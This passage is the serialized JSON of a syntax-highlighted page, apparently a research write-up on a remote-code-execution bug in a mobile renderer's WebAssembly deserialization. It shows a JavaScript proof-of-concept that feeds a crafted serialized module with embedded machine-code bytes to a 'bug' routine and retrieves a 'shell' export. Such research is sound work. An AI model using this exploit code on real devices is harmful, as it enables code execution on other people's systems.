func",{"type":20,"tag":315,"props":135362,"children":135363},{"style":328},[135364],{"type":26,"value":568},{"type":20,"tag":315,"props":135366,"children":135367},{"class":317,"line":521},[135368],{"type":20,"tag":315,"props":135369,"children":135370},{"style":328},[135371],{"type":26,"value":4265},{"type":20,"tag":315,"props":135373,"children":135374},{"class":317,"line":552},[135375],{"type":20,"tag":315,"props":135376,"children":135377},{"emptyLinePlaceholder":15},[135378],{"type":26,"value":427},{"type":20,"tag":315,"props":135380,"children":135381},{"class":317,"line":571},[135382,135386,135390,135394,135398,135402,135406],{"type":20,"tag":315,"props":135383,"children":135384},{"style":541},[135385],{"type":26,"value":6251},{"type":20,"tag":315,"props":135387,"children":135388},{"style":635},[135389],{"type":26,"value":134195},{"type":20,"tag":315,"props":135391,"children":135392},{"style":334},[135393],{"type":26,"value":1395},{"type":20,"tag":315,"props":135395,"children":135396},{"style":345},[135397],{"type":26,"value":134204},{"type":20,"tag":315,"props":135399,"children":135400},{"style":328},[135401],{"type":26,"value":1049},{"type":20,"tag":315,"props":135403,"children":135404},{"style":635},[135405],{"type":26,"value":132119},{"type":20,"tag":315,"props":135407,"children":135408},{"style":328},[135409],{"type":26,"value":2214},{"type":20,"tag":315,"props":135411,"children":135412},{"class":317,"line":2031},[135413,135417,135421,135425,135429,135433,135437,135441,135445,135449],{"type":20,"tag":315,"props":135414,"children":135415},{"style":635},[135416],{"type":26,"value":134240},{"type":20,"tag":315,"props":135418,"children":135419},{"style":334},[135420],{"type":26,"value":1395},{"type":20,"tag":315,"props":135422,"children":135423},{"style":328},[135424],{"type":26,"value":463},{"type":20,"tag":315,"props":135426,"children":135427},{"style":525},[135428],{"type":26,"value":31330},{"type":20,"tag":315,"props":135430,"children":135431},{"style":635},[135432],{"type":26,"value":134195},{"type":20,"tag":315,"props":135434,"children":135435},{"style":328},[135436],{"type":26,"value":61},{"type":20,"tag":315,"props":135438,"children":135439},{"style":345},[135440],{"type":26,"value":55818},{"type":20,"tag":315,"props":135442,"children":135443},{"style":328},[135444],{"type":26,"value":134269},{"type":20,"tag":315,"props":135446,"children":135447},{"style":635},[135448],{"type":26,"value":37568},{"type":20,"tag":315,"props":135450,"children":135451},{"style":328},[135452],{"type":26,"value":1405},{"type":20,"tag":315,"props":135454,"children":135455},{"class":317,"line":2053},[135456,135460,135464,135468,135472,135476],{"type":20,"tag":315,"props":135457,"children":135458},{"style":635},[135459],{"type":26,"value":100202},{"type":20,"tag":315,"props":135461,"children":135462},{"style":328},[135463],{"type":26,"value":61},{"type":20,"tag":315,"props":135465,"children":135466},{"style":345},[135467],{"type":26,"value":100211},{"type":20,"tag":315,"props":135469,"children":135470},{"style":328},[135471],{"type":26,"value":1049},{"type":20,"tag":315,"props":135473,"children":135474},{"style":635},[135475],{"type":26,"value":7480},{"type":20,"tag":315,"props":135477,"children":135478},{"style":328},[135479],{"type":26,"value":2214},{"type":20,"tag":315,"props":135481,"children":135482},{"class":317,"line":2061},[135483],{"type":20,"tag":315,"props":135484,"children":135485},{"emptyLinePlaceholder":15},[135486],{"type":26,"value":427},{"type":20,"tag":315,"props":135488,"children":135489},{"class":317,"line":2070},[135490,135494,135499,135503,135507,135511,135515,135519],{"type":20,"tag":315,"props":135491,"children":135492},{"style":541},[135493],{"type":26,"value":6251},{"type":20,"tag":315,"props":135495,"children":135496},{"style":635},[135497],{"type":26,"value":135498}," result_bytes",{"type":20,"tag":315,"props":135500,"children":135501},{"style":334},[135502],{"type":26,"value":1395},{"type":20,"tag":315,"props":135504,"children":135505},{"style":541},[135506],{"type":26,"value":30348},{"type":20,"tag":315,"props":135508,"children":135509},{"style":345},[135510],{"type":26,"value":131725},{"type":20,"tag":315,"props":135512,"children":135513},{"style":328},[135514],{"type":26,"value":1049},{"type":20,"tag":315,"props":135516,"children":135517},{"style":635},[135518],{"type":26,"value":7480},{"type":20,"tag":315,"props":135520,"children":135521},{"style":328},[135522],{"type":26,"value":2214},{"type":20,"tag":315,"props":135524,"children":135525},{"class":317,"line":2139},[135526,135530,135534,135538,135542,135546,135550,135554,135558,135562,135566,135570,135574,135578,135582],{"type":20,"tag":315,"props":135527,"children":135528},{"style":635},[135529],{"type":26,"value":100202},{"type":20,"tag":315,"props":135531,"children":135532},{"style":328},[135533],{"type":26,"value":61},{"type":20,"tag":315,"props":135535,"children":135536},{"style":345},[135537],{"type":26,"value":100211},{"type":20,"tag":315,"props":135539,"children":135540},{"style":328},[135541],{"type":26,"value":1049},{"type":20,"tag":315,"props":135543,"children":135544},{"style":2652},[135545],{"type":26,"value":132292},{"type":20,"tag":315,"props":135547,"children":135548},{"style":334},[135549],{"type":26,"value":7301},{"type":20,"tag":315,"props":135551,"children":135552},{"style":635},[135553],{"type":26,"value":135498},{"type":20,"tag":315,"props":135555,"children":135556},{"style":328},[135557],{"type":26,"value":61},{"type":20,"tag":315,"props":135559,"children":135560},{"style":345},[135561],{"type":26,"value":132309},{"type":20,"tag":315,"props":135563,"children":135564},{"style":328},[135565],{"type":26,"value":1049},{"type":20,"tag":315,"props":135567,"children":135568},{"style":2652},[135569],{"type":26,"value":132318},{"type":20,"tag":315,"props":135571,"children":135572},{"style":328},[135573],{"type":26,"value":1468},{"type":20,"tag":315,"props":135575,"children":135576},{"style":334},[135577],{"type":26,"value":817},{"type":20,"tag":315,"props":135579,"children":135580},{"style":2652},[135581],{"type":26,"value":132331},{"type":20,"tag":315,"props":135583,"children":135584},{"style":328},[135585],{"type":26,"value":2214},{"type":20,"tag":315,"props":135587,"children":135588},{"class":317,"line":2147},[135589],{"type":20,"tag":315,"props":135590,"children":135591},{"style":328},[135592],{"type":26,"value":100243},{"type":20,"tag":29,"props":135594,"children":135595},{},[135596],{"type":26,"value":135597},"We get the serialized bytes:",{"type":20,"tag":29,"props":135599,"children":135600},{},[135601],{"type":20,"tag":2308,"props":135602,"children":135605},{"alt":135603,"src":135604},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":20,"tag":29,"props":135607,"children":135608},{},[135609,135611,135616],{"type":26,"value":135610},"We can now embed this output into the original bytecode that calls ",{"type":20,"tag":119,"props":135612,"children":135614},{"className":135613},[],[135615],{"type":26,"value":131188},{"type":26,"value":2884},{"type":20,"tag":305,"props":135618,"children":135620},{"code":135619,"language":34031,"meta":7,"className":34029,"style":7},"(async () => {\n const wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n const buffer = new Uint8Array([\n 146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n 0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n 213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n 255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 92, 50, 162, 0,\n ]);\n let r = bug(wasm_code, buffer.buffer);\n result = (await r.next()).value;\n console.log('DeserializeWasmModule result: ' + result);\n const wasm_instance = new WebAssembly.Instance(result);\n const f = wasm_instance.exports.shell;\n console.log(f);\n})();\n",[135621],{"type":20,"tag":119,"props":135622,"children":135623},{"__ignoreMap":7},[135624,135647,135674,135893,135960,135967,135994,136205,136456,136707,136931,137113,137334,137412,137419,137466,137509,137545,137588,137627,137654],{"type":20,"tag":315,"props":135625,"children":135626},{"class":317,"line":318},[135627,135631,135635,135639,135643],{"type":20,"tag":315,"props":135628,"children":135629},{"style":328},[135630],{"type":26,"value":1049},{"type":20,"tag":315,"props":135632,"children":135633},{"style":541},[135634],{"type":26,"value":34561},{"type":20,"tag":315,"props":135636,"children":135637},{"style":328},[135638],{"type":26,"value":38113},{"type":20,"tag":315,"props":135640,"children":135641},{"style":541},[135642],{"type":26,"value":13222},{"type":20,"tag":315,"props":135644,"children":135645},{"style":328},[135646],{"type":26,"value":1092},{"type":20,"tag":315,"props":135648,"children":135649},{"class":317,"line":356},[135650,135654,135658,135662,135666,135670],{"type":20,"tag":315,"props":135651,"children":135652},{"style":541},[135653],{"type":26,"value":34604},{"type":20,"tag":315,"props":135655,"children":135656},{"style":635},[135657],{"type":26,"value":131712},{"type":20,"tag":315,"props":135659,"children":135660},{"style":334},[135661],{"type":26,"value":1395},{"type":20,"tag":315,"props":135663,"children":135664},{"style":541},[135665],{"type":26,"value":30348},{"type":20,"tag":315,"props":135667,"children":135668},{"style":345},[135669],{"type":26,"value":131725},{"type":20,"tag":315,"props":135671,"children":135672},{"style":328},[135673],{"type":26,"value":131730},{"type":20,"tag":315,"props":135675,"children":135676},{"class":317,"line":365},[135677,135681,135685,135689,135693,135697,135701,135705,135709,135713,135717,135721,135725,135729,135733,135737,135741,135745,135749,135753,135757,135761,135765,135769,135773,135777,135781,135785,135789,135793,135797,135801,135805,135809,135813,135817,135821,135825,135829,135833,135837,135841,135845,135849,135853,135857,135861,135865,135869,135873,135877,135881,135885,135889],{"type":20,"tag":315,"props":135678,"children":135679},{"style":765},[135680],{"type":26,"value":132455},{"type":20,"tag":315,"props":135682,"children":135683},{"style":328},[135684],{"type":26,"value":44},{"type":20,"tag":315,"props":135686,"children":135687},{"style":765},[135688],{"type":26,"value":131747},{"type":20,"tag":315,"props":135690,"children":135691},{"style":328},[135692],{"type":26,"value":44},{"type":20,"tag":315,"props":135694,"children":135695},{"style":765},[135696],{"type":26,"value":131756},{"type":20,"tag":315,"props":135698,"children":135699},{"style":328},[135700],{"type":26,"value":44},{"type":20,"tag":315,"props":135702,"children":135703},{"style":765},[135704],{"type":26,"value":131765},{"type":20,"tag":315,"props":135706,"children":135707},{"style":328},[135708],{"type":26,"value":44},{"type":20,"tag":315,"props":135710,"children":135711},{"style":765},[135712],{"type":26,"value":2406},{"type":20,"tag":315,"props":135714,"children":135715},{"style":328},[135716],{"type":26,"value":44},{"type":20,"tag":315,"props":135718,"children":135719},{"style":765},[135720],{"type":26,"value":1063},{"type":20,"tag":315,"props":135722,"children":135723},{"style":328},[135724],{"type":26,"value":44},{"type":20,"tag":315,"props":135726,"children":135727},{"style":765},[135728],{"type":26,"value":1063},{"type":20,"tag":315,"props":135730,"children":135731},{"style":328},[135732],{"type":26,"value":44},{"type":20,"tag":315,"props":135734,"children":135735},{"style":765},[135736],{"type":26,"value":1063},{"type":20,"tag":315,"props":135738,"children":135739},{"style":328},[135740],{"type":26,"value":44},{"type":20,"tag":315,"props":135742,"children":135743},{"style":765},[135744],{"type":26,"value":2406},{"type":20,"tag":315,"props":135746,"children":135747},{"style":328},[135748],{"type":26,"value":44},{"type":20,"tag":315,"props":135750,"children":135751},{"style":765},[135752],{"type":26,"value":15931},{"type":20,"tag":315,"props":135754,"children":135755},{"style":328},[135756],{"type":26,"value":44},{"type":20,"tag":315,"props":135758,"children":135759},{"style":765},[135760],{"type":26,"value":2406},{"type":20,"tag":315,"props":135762,"children":135763},{"style":328},[135764],{"type":26,"value":44},{"type":20,"tag":315,"props":135766,"children":135767},{"style":765},[135768],{"type":26,"value":131830},{"type":20,"tag":315,"props":135770,"children":135771},{"style":328},[135772],{"type":26,"value":44},{"type":20,"tag":315,"props":135774,"children":135775},{"style":765},[135776],{"type":26,"value":1063},{"type":20,"tag":315,"props":135778,"children":135779},{"style":328},[135780],{"type":26,"value":44},{"type":20,"tag":315,"props":135782,"children":135783},{"style":765},[135784],{"type":26,"value":1063},{"type":20,"tag":315,"props":135786,"children":135787},{"style":328},[135788],{"type":26,"value":44},{"type":20,"tag":315,"props":135790,"children":135791},{"style":765},[135792],{"type":26,"value":15698},{"type":20,"tag":315,"props":135794,"children":135795},{"style":328},[135796],{"type":26,"value":44},{"type":20,"tag":315,"props":135798,"children":135799},{"style":765},[135800],{"type":26,"value":1504},{"type":20,"tag":315,"props":135802,"children":135803},{"style":328},[135804],{"type":26,"value":44},{"type":20,"tag":315,"props":135806,"children":135807},{"style":765},[135808],{"type":26,"value":2406},{"type":20,"tag":315,"props":135810,"children":135811},{"style":328},[135812],{"type":26,"value":44},{"type":20,"tag":315,"props":135814,"children":135815},{"style":765},[135816],{"type":26,"value":1063},{"type":20,"tag":315,"props":135818,"children":135819},{"style":328},[135820],{"type":26,"value":44},{"type":20,"tag":315,"props":135822,"children":135823},{"style":765},[135824],{"type":26,"value":52923},{"type":20,"tag":315,"props":135826,"children":135827},{"style":328},[135828],{"type":26,"value":44},{"type":20,"tag":315,"props":135830,"children":135831},{"style":765},[135832],{"type":26,"value":54138},{"type":20,"tag":315,"props":135834,"children":135835},{"style":328},[135836],{"type":26,"value":44},{"type":20,"tag":315,"props":135838,"children":135839},{"style":765},[135840],{"type":26,"value":2406},{"type":20,"tag":315,"props":135842,"children":135843},{"style":328},[135844],{"type":26,"value":44},{"type":20,"tag":315,"props":135846,"children":135847},{"style":765},[135848],{"type":26,"value":16511},{"type":20,"tag":315,"props":135850,"children":135851},{"style":328},[135852],{"type":26,"value":44},{"type":20,"tag":315,"props":135854,"children":135855},{"style":765},[135856],{"type":26,"value":131756},{"type":20,"tag":315,"props":135858,"children":135859},{"style":328},[135860],{"type":26,"value":44},{"type":20,"tag":315,"props":135862,"children":135863},{"style":765},[135864],{"type":26,"value":131927},{"type":20,"tag":315,"props":135866,"children":135867},{"style":328},[135868],{"type":26,"value":44},{"type":20,"tag":315,"props":135870,"children":135871},{"style":765},[135872],{"type":26,"value":131936},{"type":20,"tag":315,"props":135874,"children":135875},{"style":328},[135876],{"type":26,"value":44},{"type":20,"tag":315,"props":135878,"children":135879},{"style":765},[135880],{"type":26,"value":131945},{"type":20,"tag":315,"props":135882,"children":135883},{"style":328},[135884],{"type":26,"value":44},{"type":20,"tag":315,"props":135886,"children":135887},{"style":765},[135888],{"type":26,"value":131945},{"type":20,"tag":315,"props":135890,"children":135891},{"style":328},[135892],{"type":26,"value":643},{"type":20,"tag":315,"props":135894,"children":135895},{"class":317,"line":374},[135896,135900,135904,135908,135912,135916,135920,135924,135928,135932,135936,135940,135944,135948,135952,135956],{"type":20,"tag":315,"props":135897,"children":135898},{"style":765},[135899],{"type":26,"value":132455},{"type":20,"tag":315,"props":135901,"children":135902},{"style":328},[135903],{"type":26,"value":44},{"type":20,"tag":315,"props":135905,"children":135906},{"style":765},[135907],{"type":26,"value":1063},{"type":20,"tag":315,"props":135909,"children":135910},{"style":328},[135911],{"type":26,"value":44},{"type":20,"tag":315,"props":135913,"children":135914},{"style":765},[135915],{"type":26,"value":87511},{"type":20,"tag":315,"props":135917,"children":135918},{"style":328},[135919],{"type":26,"value":44},{"type":20,"tag":315,"props":135921,"children":135922},{"style":765},[135923],{"type":26,"value":15931},{"type":20,"tag":315,"props":135925,"children":135926},{"style":328},[135927],{"type":26,"value":44},{"type":20,"tag":315,"props":135929,"children":135930},{"style":765},[135931],{"type":26,"value":2406},{"type":20,"tag":315,"props":135933,"children":135934},{"style":328},[135935],{"type":26,"value":44},{"type":20,"tag":315,"props":135937,"children":135938},{"style":765},[135939],{"type":26,"value":1504},{"type":20,"tag":315,"props":135941,"children":135942},{"style":328},[135943],{"type":26,"value":44},{"type":20,"tag":315,"props":135945,"children":135946},{"style":765},[135947],{"type":26,"value":1063},{"type":20,"tag":315,"props":135949,"children":135950},{"style":328},[135951],{"type":26,"value":44},{"type":20,"tag":315,"props":135953,"children":135954},{"style":765},[135955],{"type":26,"value":132021},{"type":20,"tag":315,"props":135957,"children":135958},{"style":328},[135959],{"type":26,"value":643},{"type":20,"tag":315,"props":135961,"children":135962},{"class":317,"line":383},[135963],{"type":20,"tag":315,"props":135964,"children":135965},{"style":328},[135966],{"type":26,"value":132742},{"type":20,"tag":315,"props":135968,"children":135969},{"class":317,"line":407},[135970,135974,135978,135982,135986,135990],{"type":20,"tag":315,"props":135971,"children":135972},{"style":541},[135973],{"type":26,"value":34604},{"type":20,"tag":315,"props":135975,"children":135976},{"style":635},[135977],{"type":26,"value":123525},{"type":20,"tag":315,"props":135979,"children":135980},{"style":334},[135981],{"type":26,"value":1395},{"type":20,"tag":315,"props":135983,"children":135984},{"style":541},[135985],{"type":26,"value":30348},{"type":20,"tag":315,"props":135987,"children":135988},{"style":345},[135989],{"type":26,"value":131725},{"type":20,"tag":315,"props":135991,"children":135992},{"style":328},[135993],{"type":26,"value":131730},{"type":20,"tag":315,"props":135995,"children":135996},{"class":317,"line":421},[135997,136002,136006,136010,136014,136018,136022,136026,136030,136035,136039,136044,136048,136053,136057,136062,136066,136070,136074,136078,136082,136086,136090,136094,136098,136103,136107,136112,136116,136121,136125,136129,136133,136137,136141,136145,136149,136153,136157,136161,136165,136169,136173,136177,136181,136185,136189,136193,136197,136201],{"type":20,"tag":315,"props":135998,"children":135999},{"style":765},[136000],{"type":26,"value":136001}," 146",{"type":20,"tag":315,"props":136003,"children":136004},{"style":328},[136005],{"type":26,"value":44},{"type":20,"tag":315,"props":136007,"children":136008},{"style":765},[136009],{"type":26,"value":16823},{"type":20,"tag":315,"props":136011,"children":136012},{"style":328},[136013],{"type":26,"value":44},{"type":20,"tag":315,"props":136015,"children":136016},{"style":765},[136017],{"type":26,"value":132794},{"type":20,"tag":315,"props":136019,"children":136020},{"style":328},[136021],{"type":26,"value":44},{"type":20,"tag":315,"props":136023,"children":136024},{"style":765},[136025],{"type":26,"value":132803},{"type":20,"tag":315,"props":136027,"children":136028},{"style":328},[136029],{"type":26,"value":44},{"type":20,"tag":315,"props":136031,"children":136032},{"style":765},[136033],{"type":26,"value":136034},"174",{"type":20,"tag":315,"props":136036,"children":136037},{"style":328},[136038],{"type":26,"value":44},{"type":20,"tag":315,"props":136040,"children":136041},{"style":765},[136042],{"type":26,"value":136043},"122",{"type":20,"tag":315,"props":136045,"children":136046},{"style":328},[136047],{"type":26,"value":44},{"type":20,"tag":315,"props":136049,"children":136050},{"style":765},[136051],{"type":26,"value":136052},"171",{"type":20,"tag":315,"props":136054,"children":136055},{"style":328},[136056],{"type":26,"value":44},{"type":20,"tag":315,"props":136058,"children":136059},{"style":765},[136060],{"type":26,"value":136061},"151",{"type":20,"tag":315,"props":136063,"children":136064},{"style":328},[136065],{"type":26,"value":44},{"type":20,"tag":315,"props":136067,"children":136068},{"style":765},[136069],{"type":26,"value":94925},{"type":20,"tag":315,"props":136071,"children":136072},{"style":328},[136073],{"type":26,"value":44},{"type":20,"tag":315,"props":136075,"children":136076},{"style":765},[136077],{"type":26,"value":1063},{"type":20,"tag":315,"props":136079,"children":136080},{"style":328},[136081],{"type":26,"value":44},{"type":20,"tag":315,"props":136083,"children":136084},{"style":765},[136085],{"type":26,"value":1063},{"type":20,"tag":315,"props":136087,"children":136088},{"style":328},[136089],{"type":26,"value":44},{"type":20,"tag":315,"props":136091,"children":136092},{"style":765},[136093],{"type":26,"value":1063},{"type":20,"tag":315,"props":136095,"children":136096},{"style":328},[136097],{"type":26,"value":44},{"type":20,"tag":315,"props":136099,"children":136100},{"style":765},[136101],{"type":26,"value":136102},"39",{"type":20,"tag":315,"props":136104,"children":136105},{"style":328},[136106],{"type":26,"value":44},{"type":20,"tag":315,"props":136108,"children":136109},{"style":765},[136110],{"type":26,"value":136111},"61",{"type":20,"tag":315,"props":136113,"children":136114},{"style":328},[136115],{"type":26,"value":44},{"type":20,"tag":315,"props":136117,"children":136118},{"style":765},[136119],{"type":26,"value":136120},"60",{"type":20,"tag":315,"props":136122,"children":136123},{"style":328},[136124],{"type":26,"value":44},{"type":20,"tag":315,"props":136126,"children":136127},{"style":765},[136128],{"type":26,"value":94925},{"type":20,"tag":315,"props":136130,"children":136131},{"style":328},[136132],{"type":26,"value":44},{"type":20,"tag":315,"props":136134,"children":136135},{"style":765},[136136],{"type":26,"value":1063},{"type":20,"tag":315,"props":136138,"children":136139},{"style":328},[136140],{"type":26,"value":44},{"type":20,"tag":315,"props":136142,"children":136143},{"style":765},[136144],{"type":26,"value":39264},{"type":20,"tag":315,"props":136146,"children":136147},{"style":328},[136148],{"type":26,"value":44},{"type":20,"tag":315,"props":136150,"children":136151},{"style":765},[136152],{"type":26,"value":15698},{"type":20,"tag":315,"props":136154,"children":136155},{"style":328},[136156],{"type":26,"value":44},{"type":20,"tag":315,"props":136158,"children":136159},{"style":765},[136160],{"type":26,"value":1063},{"type":20,"tag":315,"props":136162,"children":136163},{"style":328},[136164],{"type":26,"value":44},{"type":20,"tag":315,"props":136166,"children":136167},{"style":765},[136168],{"type":26,"value":1063},{"type":20,"tag":315,"props":136170,"children":136171},{"style":328},[136172],{"type":26,"value":44},{"type":20,"tag":315,"props":136174,"children":136175},{"style":765},[136176],{"type":26,"value":1063},{"type":20,"tag":315,"props":136178,"children":136179},{"style":328},[136180],{"type":26,"value":44},{"type":20,"tag":315,"props":136182,"children":136183},{"style":765},[136184],{"type":26,"value":1063},{"type":20,"tag":315,"props":136186,"children":136187},{"style":328},[136188],{"type":26,"value":44},{"type":20,"tag":315,"props":136190,"children":136191},{"style":765},[136192],{"type":26,"value":1063},{"type":20,"tag":315,"props":136194,"children":136195},{"style":328},[136196],{"type":26,"value":44},{"type":20,"tag":315,"props":136198,"children":136199},{"style":765},[136200],{"type":26,"value":27838},{"type":20,"tag":315,"props":136202,"children":136203},{"style":328},[136204],{"type":26,"value":643},{"type":20,"tag":315,"props":136206,"children":136207},{"class":317,"line":430},[136208,136212,136216,136220,136224,136228,136232,136236,136240,136244,136248,136252,136256,136260,136264,136268,136272,136276,136280,136284,136288,136292,136296,136300,136304,136308,136312,136316,136320,136324,136328,136332,136336,136340,136344,136348,136352,136356,136360,136364,136368,136372,136376,136380,136384,136388,136392,136396,136400,136404,136408,136412,136416,136420,136424,136428,136432,136436,136440,136444,136448,136452],{"type":20,"tag":315,"props":136209,"children":136210},{"style":765},[136211],{"type":26,"value":132455},{"type":20,"tag":315,"props":136213,"children":136214},{"style":328},[136215],{"type":26,"value":44},{"type":20,"tag":315,"props":136217,"children":136218},{"style":765},[136219],{"type":26,"value":1063},{"type":20,"tag":315,"props":136221,"children":136222},{"style":328},[136223],{"type":26,"value":44},{"type":20,"tag":315,"props":136225,"children":136226},{"style":765},[136227],{"type":26,"value":1063},{"type":20,"tag":315,"props":136229,"children":136230},{"style":328},[136231],{"type":26,"value":44},{"type":20,"tag":315,"props":136233,"children":136234},{"style":765},[136235],{"type":26,"value":1063},{"type":20,"tag":315,"props":136237,"children":136238},{"style":328},[136239],{"type":26,"value":44},{"type":20,"tag":315,"props":136241,"children":136242},{"style":765},[136243],{"type":26,"value":1063},{"type":20,"tag":315,"props":136245,"children":136246},{"style":328},[136247],{"type":26,"value":44},{"type":20,"tag":315,"props":136249,"children":136250},{"style":765},[136251],{"type":26,"value":1063},{"type":20,"tag":315,"props":136253,"children":136254},{"style":328},[136255],{"type":26,"value":44},{"type":20,"tag":315,"props":136257,"children":136258},{"style":765},[136259],{"type":26,"value":1063},{"type":20,"tag":315,"props":136261,"children":136262},{"style":328},[136263],{"type":26,"value":44},{"type":20,"tag":315,"props":136265,"children":136266},{"style":765},[136267],{"type":26,"value":2406},{"type":20,"tag":315,"props":136269,"children":136270},{"style":328},[136271],{"type":26,"value":44},{"type":20,"tag":315,"props":136273,"children":136274},{"style":765},[136275],{"type":26,"value":1063},{"type":20,"tag":315,"props":136277,"children":136278},{"style":328},[136279],{"type":26,"value":44},{"type":20,"tag":315,"props":136281,"children":136282},{"style":765},[136283],{"type":26,"value":1063},{"type":20,"tag":315,"props":136285,"children":136286},{"style":328},[136287],{"type":26,"value":44},{"type":20,"tag":315,"props":136289,"children":136290},{"style":765},[136291],{"type":26,"value":1063},{"type":20,"tag":315,"props":136293,"children":136294},{"style":328},[136295],{"type":26,"value":44},{"type":20,"tag":315,"props":136297,"children":136298},{"style":765},[136299],{"type":26,"value":1063},{"type":20,"tag":315,"props":136301,"children":136302},{"style":328},[136303],{"type":26,"value":44},{"type":20,"tag":315,"props":136305,"children":136306},{"style":765},[136307],{"type":26,"value":1063},{"type":20,"tag":315,"props":136309,"children":136310},{"style":328},[136311],{"type":26,"value":44},{"type":20,"tag":315,"props":136313,"children":136314},{"style":765},[136315],{"type":26,"value":1063},{"type":20,"tag":315,"props":136317,"children":136318},{"style":328},[136319],{"type":26,"value":44},{"type":20,"tag":315,"props":136321,"children":136322},{"style":765},[136323],{"type":26,"value":1063},{"type":20,"tag":315,"props":136325,"children":136326},{"style":328},[136327],{"type":26,"value":44},{"type":20,"tag":315,"props":136329,"children":136330},{"style":765},[136331],{"type":26,"value":1063},{"type":20,"tag":315,"props":136333,"children":136334},{"style":328},[136335],{"type":26,"value":44},{"type":20,"tag":315,"props":136337,"children":136338},{"style":765},[136339],{"type":26,"value":15931},{"type":20,"tag":315,"props":136341,"children":136342},{"style":328},[136343],{"type":26,"value":44},{"type":20,"tag":315,"props":136345,"children":136346},{"style":765},[136347],{"type":26,"value":43547},{"type":20,"tag":315,"props":136349,"children":136350},{"style":328},[136351],{"type":26,"value":44},{"type":20,"tag":315,"props":136353,"children":136354},{"style":765},[136355],{"type":26,"value":1063},{"type":20,"tag":315,"props":136357,"children":136358},{"style":328},[136359],{"type":26,"value":44},{"type":20,"tag":315,"props":136361,"children":136362},{"style":765},[136363],{"type":26,"value":1063},{"type":20,"tag":315,"props":136365,"children":136366},{"style":328},[136367],{"type":26,"value":44},{"type":20,"tag":315,"props":136369,"children":136370},{"style":765},[136371],{"type":26,"value":1063},{"type":20,"tag":315,"props":136373,"children":136374},{"style":328},[136375],{"type":26,"value":44},{"type":20,"tag":315,"props":136377,"children":136378},{"style":765},[136379],{"type":26,"value":132830},{"type":20,"tag":315,"props":136381,"children":136382},{"style":328},[136383],{"type":26,"value":44},{"type":20,"tag":315,"props":136385,"children":136386},{"style":765},[136387],{"type":26,"value":1063},{"type":20,"tag":315,"props":136389,"children":136390},{"style":328},[136391],{"type":26,"value":44},{"type":20,"tag":315,"props":136393,"children":136394},{"style":765},[136395],{"type":26,"value":1063},{"type":20,"tag":315,"props":136397,"children":136398},{"style":328},[136399],{"type":26,"value":44},{"type":20,"tag":315,"props":136401,"children":136402},{"style":765},[136403],{"type":26,"value":1063},{"type":20,"tag":315,"props":136405,"children":136406},{"style":328},[136407],{"type":26,"value":44},{"type":20,"tag":315,"props":136409,"children":136410},{"style":765},[136411],{"type":26,"value":43547},{"type":20,"tag":315,"props":136413,"children":136414},{"style":328},[136415],{"type":26,"value":44},{"type":20,"tag":315,"props":136417,"children":136418},{"style":765},[136419],{"type":26,"value":1063},{"type":20,"tag":315,"props":136421,"children":136422},{"style":328},[136423],{"type":26,"value":44},{"type":20,"tag":315,"props":136425,"children":136426},{"style":765},[136427],{"type":26,"value":1063},{"type":20,"tag":315,"props":136429,"children":136430},{"style":328},[136431],{"type":26,"value":44},{"type":20,"tag":315,"props":136433,"children":136434},{"style":765},[136435],{"type":26,"value":1063},{"type":20,"tag":315,"props":136437,"children":136438},{"style":328},[136439],{"type":26,"value":44},{"type":20,"tag":315,"props":136441,"children":136442},{"style":765},[136443],{"type":26,"value":43547},{"type":20,"tag":315,"props":136445,"children":136446},{"style":328},[136447],{"type":26,"value":44},{"type":20,"tag":315,"props":136449,"children":136450},{"style":765},[136451],{"type":26,"value":1063},{"type":20,"tag":315,"props":136453,"children":136454},{"style":328},[136455],{"type":26,"value":643},{"type":20,"tag":315,"props":136457,"children":136458},{"class":317,"line":453},[136459,136463,136467,136471,136475,136479,136483,136487,136491,136495,136499,136503,136507,136511,136515,136519,136523,136527,136531,136535,136539,136543,136547,136551,136555,136559,136563,136567,136571,136575,136579,136583,136587,136591,136595,136599,136603,136607,136611,136615,136619,136623,136627,136631,136635,136639,136643,136647,136651,136655,136659,136663,136667,136671,136675,136679,136683,136687,136691,136695,136699,136703],{"type":20,"tag":315,"props":136460,"children":136461},{"style":765},[136462],{"type":26,"value":132455},{"type":20,"tag":315,"props":136464,"children":136465},{"style":328},[136466],{"type":26,"value":44},{"type":20,"tag":315,"props":136468,"children":136469},{"style":765},[136470],{"type":26,"value":1063},{"type":20,"tag":315,"props":136472,"children":136473},{"style":328},[136474],{"type":26,"value":44},{"type":20,"tag":315,"props":136476,"children":136477},{"style":765},[136478],{"type":26,"value":43547},{"type":20,"tag":315,"props":136480,"children":136481},{"style":328},[136482],{"type":26,"value":44},{"type":20,"tag":315,"props":136484,"children":136485},{"style":765},[136486],{"type":26,"value":1063},{"type":20,"tag":315,"props":136488,"children":136489},{"style":328},[136490],{"type":26,"value":44},{"type":20,"tag":315,"props":136492,"children":136493},{"style":765},[136494],{"type":26,"value":1063},{"type":20,"tag":315,"props":136496,"children":136497},{"style":328},[136498],{"type":26,"value":44},{"type":20,"tag":315,"props":136500,"children":136501},{"style":765},[136502],{"type":26,"value":1063},{"type":20,"tag":315,"props":136504,"children":136505},{"style":328},[136506],{"type":26,"value":44},{"type":20,"tag":315,"props":136508,"children":136509},{"style":765},[136510],{"type":26,"value":15931},{"type":20,"tag":315,"props":136512,"children":136513},{"style":328},[136514],{"type":26,"value":44},{"type":20,"tag":315,"props":136516,"children":136517},{"style":765},[136518],{